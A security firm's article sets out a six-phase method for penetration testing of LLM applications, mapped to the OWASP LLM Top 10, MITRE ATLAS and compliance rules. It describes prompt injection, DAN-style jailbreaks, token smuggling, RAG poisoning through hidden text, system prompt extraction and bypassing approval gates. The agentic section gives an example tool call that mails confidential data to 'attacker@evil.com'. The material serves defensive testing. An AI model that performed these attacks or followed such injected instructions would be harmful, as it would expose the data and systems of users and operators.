Adversarial testing of LLM applications today covers very different systems — customer service chatbots, internal assistants, agentic systems automating processes, RAG systems over corporate knowledge bases. The pattern repeats: OWASP LLM Top 10 vulnerabilities usually surface early in testing, and a classic web pentest of the application “wrapping” the model often misses the real attack surface — because the greatest risk is not in the HTTP endpoint, but in the way the model consumes context, tools and RAG data.
This article is for AI Engineers, Security Engineers and CISOs responsible for LLM applications in production. I describe the 6-phase methodology we apply in the AI/LLM application pentest by nFlo — built exclusively on recognized frameworks (OWASP LLM Top 10, 2025 edition, MITRE ATLAS, NIST AI RMF, STRIDE applied to LLM). No invented acronyms. No “proprietary frameworks”. Only proven foundations plus concrete tools (Garak, PyRIT, promptfoo) and mapping to regulations (EU AI Act art. 15, ISO/IEC 42001).
Why LLM pentest ≠ classic web pentest
A classic web application pentest operates on deterministic vulnerabilities: SQL injection, XSS, IDOR, SSRF. A payload either works or it doesn’t — and if it worked once, it will work again. Scanners (Burp, Nuclei, ZAP) automate a significant part of the work because patterns are stable.
An LLM application breaks all these assumptions. First, stochasticity: the same prompt, same temperature, same model — different responses. A jailbreak that worked in a test may not work in the demo. This requires a statistical approach (n×attempts, success rate, severity scoring) instead of a single PoC.
Second, attack surface: in a web application the trust boundary is clear — the HTTP request from the user. In an LLM application the model context mixes the system prompt (developer, trusted), conversation history, user input, tool results (function calling), RAG document content, multimodal data (images seen by the model). Each of these sources is a potential vector — particularly dangerous is indirect prompt injection through documents the attacker has never seen from the UI level.
Third, there is no single CWE/CVE. We classify findings through OWASP LLM Top 10 (risk classes) and MITRE ATLAS (TTP for AI). This is different reporting grammar than a classic pentest.
Fourth, training data leakage and model theft. Web pentests have no analogue to “pumping out model weights through an API”. An LLM application inherits the risks of the base model — including memorized PII from training (LLM02:2025) and susceptibility to distillation (LLM10:2025).
OWASP LLM Top 10 (2025 edition) — what we look for in pentests
OWASP LLM Top 10 (OWASP Foundation project; first version — 2023, current edition — 2025) is today the industry reference for LLM application security. Below briefly per category, with the vulnerability concept (NOT a runnable exploit) we check.
LLM01:2025 — Prompt Injection. The most common and most dangerous class. Direct: attacker types payload as input. Indirect: payload hidden in a RAG document, e-mail, web page. Test: Garak probe libraries + manual playbooks (DAN, token smuggling, multi-turn manipulation).
LLM02:2025 — Sensitive Information Disclosure. Model reveals PII from training, fine-tuning or context (e.g. another user’s data in multi-tenant). Test: extraction attacks (prompts forcing reproduction of memorized data), cross-tenant probes if SaaS.
LLM03:2025 — Supply Chain. Compromised Hugging Face models, counterfeit LangChain/LlamaIndex plugins, malicious pickles in checkpoints. Test: ProtectAI ModelScan, safetensors validation, SBOM analysis of dependencies (langchain, llama-index, openai SDK).
LLM04:2025 — Data and Model Poisoning. Attack on training or fine-tuning data. In application pentests we rarely have access to training — we test the fine-tune set if the client reveals it and internal knowledge bases (RAG corpus poisoning is partly the same class).
LLM05:2025 — Improper Output Handling. Application injects model output into downstream systems without sanitization — XSS via generated HTML, command injection via generated bash, SSRF via generated URL, SQL injection via generated query. Test: payloads that force the model to generate malicious text in a format consumed by the backend.
LLM06:2025 — Excessive Agency. Agentic model has overly broad permissions (file deletion, transactions, mail sending) without an approval gate. Plugins/tools trust the model on unauthorized operations. Test: chain injection → destructive tool call; does send_email(to, body) validate whether the user has rights to that mailbox? Is execute_query(sql) parameterized?
LLM07:2025 — System Prompt Leakage. The system prompt or instructions that steer the model’s behavior can contain sensitive information that was not meant to be discovered. Test: system prompt extraction attempts — a baseline in Phase 2 and manual playbooks in Phase 3.
LLM08:2025 — Vector and Embedding Weaknesses. Weaknesses of vectors and embeddings in systems using RAG (Retrieval Augmented Generation). Test: described below in Phase 4 — injecting documents into the vector store, collection enumeration, embedding extraction attacks.
LLM09:2025 — Misinformation. Business/users trust model output without verification (overreliance) — in the 2025 edition this is part of the Misinformation category. This is more of a governance finding than a technical one, but in the report we highlight high-stakes domains (medical, financial, legal).
LLM10:2025 — Unbounded Consumption. Resource exhaustion: very long prompts (token bombs), recursive loops in agentic systems, mass parallel requests — as well as model extraction via the API and its functional replication (distillation). Test: probes constraining operational cost, verification of per-user limits, and query patterns characteristic for model extraction (n-shot prompts covering distribution).
MITRE ATLAS — TTP mapping for AI threats
MITRE ATLAS (Adversarial Threat Landscape for Artificial-Intelligence Systems) is a living knowledge base from MITRE Corporation, structurally analogous to ATT&CK. It defines 12 tactics: Reconnaissance, Resource Development, Initial Access, ML Model Access, Execution, Persistence, Defense Evasion, Discovery, Collection, ML Attack Staging, Exfiltration, Impact. Each tactic has a technique catalog — e.g. AML.T0040 ML Model Inference API Access, AML.T0051 LLM Prompt Injection, AML.T0057 LLM Data Leakage, AML.T0024 Exfiltration via ML Inference API.
In an LLM pentest report we map every finding twice: to OWASP LLM Top 10 (risk class, lingua franca for developers) and to ATLAS techniques (TTP, lingua franca for SOC and blue team). This way the detection team can model alerts per technique, and the CISO has a common vocabulary with the rest of the cyber strategy. ATLAS additionally catalogs real case studies (PoisonGPT, Tay, Microsoft Tay incident, Bing Chat prompt injection) — we use them as references in the validation session with the client.
6-phase methodology — from threat modeling to report
Our LLM pentest methodology rests exclusively on recognized frameworks. We do not invent our own acronyms. Six phases:
Phase 1 — Threat modeling (STRIDE applied to LLM). A workshop session (1 day) with the application architect. We apply classic STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) with mapping to LLM-specific surfaces: spoofing the system prompt, tampering with RAG context, repudiation of conversation logs, disclosure of memorized data, DoS via token bomb, elevation through tool abuse. Output: data flow diagram with trust boundaries and a catalog of vulnerability hypotheses to validate.
Phase 2 — Reconnaissance and model fingerprinting. Identification of the base model (GPT-4 family vs Claude vs LLaMA vs Mistral) through characteristic responses, refusal patterns, token tokenizer artifacts. Mapping of API endpoints, function calling documentation, RAG ingestion pipeline. Revealing the system prompt as a baseline test (if possible, we already have LLM07:2025 — System Prompt Leakage).
Phase 3 — Adversarial input testing (Garak/PyRIT). Automated probes with Garak (encoding attacks, jailbreak chains, glitch tokens, profanity probes) and PyRIT (multi-turn orchestrators, severity scoring, attack chains). Manual playbooks for application-specific payloads (e.g. system prompt extraction, role play, hypothetical scenarios, token smuggling base64/ROT13). Each payload run n times due to stochasticity — we report success rate, not a single PoC.
Phase 4 — RAG poisoning testing. If the application uses RAG, a separate phase. Injecting documents with indirect prompt injection into the vector store, checking whether retrieval surfaces them on realistic queries, whether the model executes injected instructions. Additionally: vector store enumeration (which collections are accessible?), embedding extraction attacks.
Phase 5 — Output safety and tool abuse testing. Does the application sanitize model output before injecting it into downstream (LLM05:2025)? Do tools have least-privilege (LLM06:2025)? Do agentic chains have an approval gate for side effects (LLM06:2025)? Final tests verify the entire kill chain: injection → tool instruction → destructive action execution.
Phase 6 — Reporting per OWASP LLM Top 10 + MITRE ATLAS. Report with every finding mapped twice (class + TTP), severity scoring (CVSS adaptation + likelihood from success rate of stochastic attempts), concrete payloads, layered recommendations (system prompt hardening, context segregation, tool least-privilege, output validation, monitoring), compliance mapping (NIST AI RMF, EU AI Act art. 15, ISO/IEC 42001 clauses).
Toolset 2026 — what we actually use
Garak (https://github.com/NVIDIA/garak) — framework from the NVIDIA NeMo Guardrails team, open-source. The probe library covers encoding attacks (base64, ROT13, hex), jailbreak chains (DAN family), glitch tokens (tokens causing undefined behavior), profanity, malware generation, leakage probes. Output: success rate table per probe per detector, easy export to a report. A permanent position in our pipeline since 2024.
PyRIT (https://github.com/Azure/PyRIT) — Python Risk Identification Toolkit from Microsoft AI Red Team. Stronger orchestration layer than Garak: multi-turn orchestrators (attack spread over 5–10 conversation turns), severity scoring, adaptive attacks (the attacking model learns from the defending model’s responses). Complementary to Garak — we use them together.
promptfoo (https://github.com/promptfoo/promptfoo) — testing framework for security regression. After a pentest the client receives a set of test cases that they wire into CI/CD — on every deploy it verifies that fixes have not been regressed.
Burp Suite Bambdas — custom rules for LLM endpoints. Burp remains the classic tool for testing the pure HTTP layer (authorization, rate limiting, IDOR on conversation_id), Bambdas allow adding LLM-specific heuristics.
Manual playbooks — prompt libraries (DAN 6.0–13.0, AIM, STAN), in-house payloads from previous pentests, jailbreak corpus from academic literature (Greshake et al., Anthropic Red Team papers, Microsoft AI Red Team publications).
RAG-specific — vector store poisoning and indirect injection
The RAG (Retrieval-Augmented Generation) architecture adds an attack surface invisible to classic application pentests. The attacker does not need an account in the application — it is enough to place a document in a source the RAG ingests (corporate SharePoint, Google Drive, Notion, Confluence, public S3 bucket).
In pentests we test: vector store poisoning — injecting documents with an indirect prompt injection payload (white on white, font-size 0, metadata, HTML comments), checking whether retrieval surfaces them on realistic user queries. Embedding similarity attacks — preparing documents that have high cosine similarity with popular queries, so they dominate top-k retrieval. Vector store enumeration — does the application reveal what collections exist, what documents they contain, can they be downloaded. Cross-tenant leakage in multi-tenant SaaS — can one client’s embedding be retrieved by another.
Most often we find: no validation of documents entering RAG (every upload from a user with “editor” role lands in the shared knowledge base), no per-tenant segregation, no monitoring of who added which document.
Agentic AI — tool-use abuse and multi-step jailbreak chains
Agentic applications (Auto-GPT pattern, LangChain Agents, OpenAI Assistants with function calling) raise the risk level — because successful injection does not end with “the model said something weird”, but with “the model executed an action in a production system”.
We test: single-step tool abuse — does prompt injection force tool invocation with attacker parameters (send_email(to: 'attacker@evil.com', body: 'forward all confidential')). Multi-step jailbreak chains — chains of 5–10 prompts, each of which looks innocent on its own, but the composition leads to a destructive action. Tool schema confusion — are tool parameters validated semantically, not only syntactically (the model may return valid JSON with malicious values). Approval gate bypass — is human-in-the-loop for high-risk operations actually required, or can the model bypass it through a clever prompt.
The most popular pattern we see: the team secured the prompt (filters, guardrails), but tools have full read/write to the production database, mailbox, CI/CD. The first successful injection = full tool permissions. It is like securing the front door but leaving the safes open inside.
Compliance mapping — NIST AI RMF, EU AI Act, ISO/IEC 42001
An LLM pentest in 2026 is not just a technical exercise — it is also an element of compliance posture. Clients ask us about three mappings.
NIST AI RMF 1.0 (January 2023; supplemented in July 2024 by the Generative AI Profile — NIST AI 600-1; under revision in 2026): four functions GOVERN, MAP, MEASURE, MANAGE. An LLM pentest delivers evidence for MEASURE (category MEASURE 2.7 — AI system security and resilience, MEASURE 2.10 — privacy risk) and MANAGE (category MANAGE 1.3 — responses to AI risks deemed high priority). The report is an audit document for the GOVERN function.
EU AI Act (Regulation 2024/1689, entered into force August 2024; high-risk systems: from 2 December 2027 for Annex III and from 2 August 2028 for Annex I): art. 15 — “accuracy, robustness and cybersecurity” — requires adversarial testing for high-risk systems (recruitment, credit, healthcare, education, law enforcement). Art. 55 for GPAI with systemic risk requires red-teaming. An LLM pentest documents compliance with art. 15 for high-risk deployment.
ISO/IEC 42001:2023 (AI Management System — a management system standard for artificial intelligence): clauses 6.1.2 and 8.2 cover AI risk assessment, and clauses 6.1.3 and 8.3 cover AI risk treatment. An LLM pentest delivers evidence for both — particularly valuable for organizations aspiring to certification.
Additionally: for regulated sectors (finance, healthcare, energy) an LLM pentest becomes part of mapping to DORA, NIS2, KSC — though here the requirements are indirect (through “adequate security measures” for the AI used).
Next steps
If you are deploying LLM in production — a chatbot, assistant, RAG, agentic system — a pentest based on OWASP LLM Top 10 + MITRE ATLAS is not “nice to have”. It is the minimum due diligence which will soon become a regulatory obligation (EU AI Act: high-risk systems from 2 December 2027 for Annex III and from 2 August 2028 for Annex I). The earlier in the rollout cycle, the cheaper it is to correct the architecture (not just the prompt).
Contact us about our LLM application penetration testing service — we will run the test in line with the 6-phase methodology described above. For organizations in the AI strategy phase (when the architecture is still being shaped) we recommend adding a vCISO consultation, which covers the governance layer: EU AI Act gap analysis, mapping to NIST AI RMF, AI usage policies, the path to ISO/IEC 42001.
Related terms
Our services
Related services and products
Frequently asked questions
How is an LLM application pentest different from a classic web pentest?
A classic web pentest operates on deterministic vulnerabilities (SQL injection, XSS, IDOR) — the same payload yields the same result every time. An LLM pentest is fundamentally stochastic: the same prompt may trigger a jailbreak once and not the next time, depending on temperature, sampling and earlier-turn context. Second difference: attack surface covers the entire model context — system prompt, history, RAG documents, tool results (function calling), multimodal data (images). Third: there is no single CWE/CVE — we map findings to OWASP LLM Top 10 (10 risk classes) plus MITRE ATLAS (TTP for AI). Finally the methodology relies on adversarial techniques (Garak, PyRIT) rather than Burp/Nuclei-style scanners.
Which tools are used for LLM security testing in 2026?
Main open-source tools: Garak (NVIDIA NeMo Guardrails team) — framework for automated adversarial testing with probe libraries (encoding attacks, jailbreak chains, glitch tokens); PyRIT (Microsoft AI Red Team) — Python Risk Identification Toolkit with severity scoring and multi-turn orchestrators; promptfoo — testing framework for security regression per release. Complementary: Burp Suite Bambdas (custom rules for LLM endpoints), manual jailbreak playbooks (DAN-style, hypothetical scenarios, token smuggling), in-house harnesses for function calling and RAG testing. For supply chain deep-dives: ProtectAI ModelScan and HuggingFace safetensors checks.
Is OWASP LLM Top 10 an official standard?
Yes. OWASP LLM Top 10 (OWASP Top 10 for LLM Applications) is an OWASP Foundation project (the same organization behind Web Top 10 and API Security Top 10); the first version was published in 2023 and the current one is the 2025 edition. It covers 10 risk classes: LLM01:2025 Prompt Injection, LLM02:2025 Sensitive Information Disclosure, LLM03:2025 Supply Chain, LLM04:2025 Data and Model Poisoning, LLM05:2025 Improper Output Handling, LLM06:2025 Excessive Agency, LLM07:2025 System Prompt Leakage, LLM08:2025 Vector and Embedding Weaknesses, LLM09:2025 Misinformation, LLM10:2025 Unbounded Consumption. The standard is not regulatorily binding, but has become a de facto industry reference — NIST AI RMF, EU AI Act guidance and ISO/IEC 42001 all refer to it directly or indirectly.
How does the EU AI Act affect the duty to test LLM applications?
The EU AI Act (Regulation 2024/1689) entered into force in August 2024; obligations apply in stages, and requirements for high-risk systems apply — as amended by Regulation (EU) 2026/1744 — from 2 December 2027 (Annex III) and from 2 August 2028 (Annex I). Article 15 mandates accuracy, robustness and cybersecurity for high-risk AI systems — including testing for resilience to adversarial inputs, data poisoning and model evasion. For GPAI (general-purpose AI) systems with systemic risk (art. 55) adversarial testing and red-teaming are required. In practice: if you deploy an LLM in a high-risk use case (recruitment, credit, healthcare, education, law enforcement) — LLM pentesting becomes a documentation duty, not an option. Complementarily, ISO/IEC 42001:2023 (AI Management System) requires periodic security reviews.
What is MITRE ATLAS and how do we use it in LLM pentests?
MITRE ATLAS (Adversarial Threat Landscape for Artificial-Intelligence Systems) is a living knowledge base of real-world attacks on ML/AI systems, structurally analogous to MITRE ATT&CK for classic systems. It defines tactics (Reconnaissance, Resource Development, Initial Access, ML Model Access, Execution, Persistence, Defense Evasion, Discovery, Collection, ML Attack Staging, Exfiltration, Impact) and techniques per tactic (e.g. AML.T0040 ML Model Inference API Access, AML.T0051 LLM Prompt Injection, AML.T0057 LLM Data Leakage). In an LLM pentest report we map every finding not only to OWASP LLM Top 10, but also to specific ATLAS techniques — so the SOC team can model detection per technique, and the CISO has a common language with the rest of the cyber strategy.
How long does an LLM application pentest at nFlo take and how much does it cost?
A typical LLM application pentest takes 2–4 weeks and covers: threat modeling session (1-day workshop), reconnaissance and model fingerprinting (2–3 days), adversarial testing with Garak + PyRIT + manual playbooks (5–10 days), RAG/agentic specific testing if the architecture requires it (2–5 days), reporting with mapping to OWASP LLM Top 10 + MITRE ATLAS (2–3 days) and a validation session with the client team (1 day). Cost: depends on application scale, number of integrated tools (function calling), RAG knowledge base volume and compliance requirements (EU AI Act high-risk = greater depth). We quote it as part of our AI/LLM application penetration testing service after a short scoping call. For organizations in the AI strategy phase we add a vCISO consultation covering governance (NIST AI RMF, EU AI Act gap analysis).
